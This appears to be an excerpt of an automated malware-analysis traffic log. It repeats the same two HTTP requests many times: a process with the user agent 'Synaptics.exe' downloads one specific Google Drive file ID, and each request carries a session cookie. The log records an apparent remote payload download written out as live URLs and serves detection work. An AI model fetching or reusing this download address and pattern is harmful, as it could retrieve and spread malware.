Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
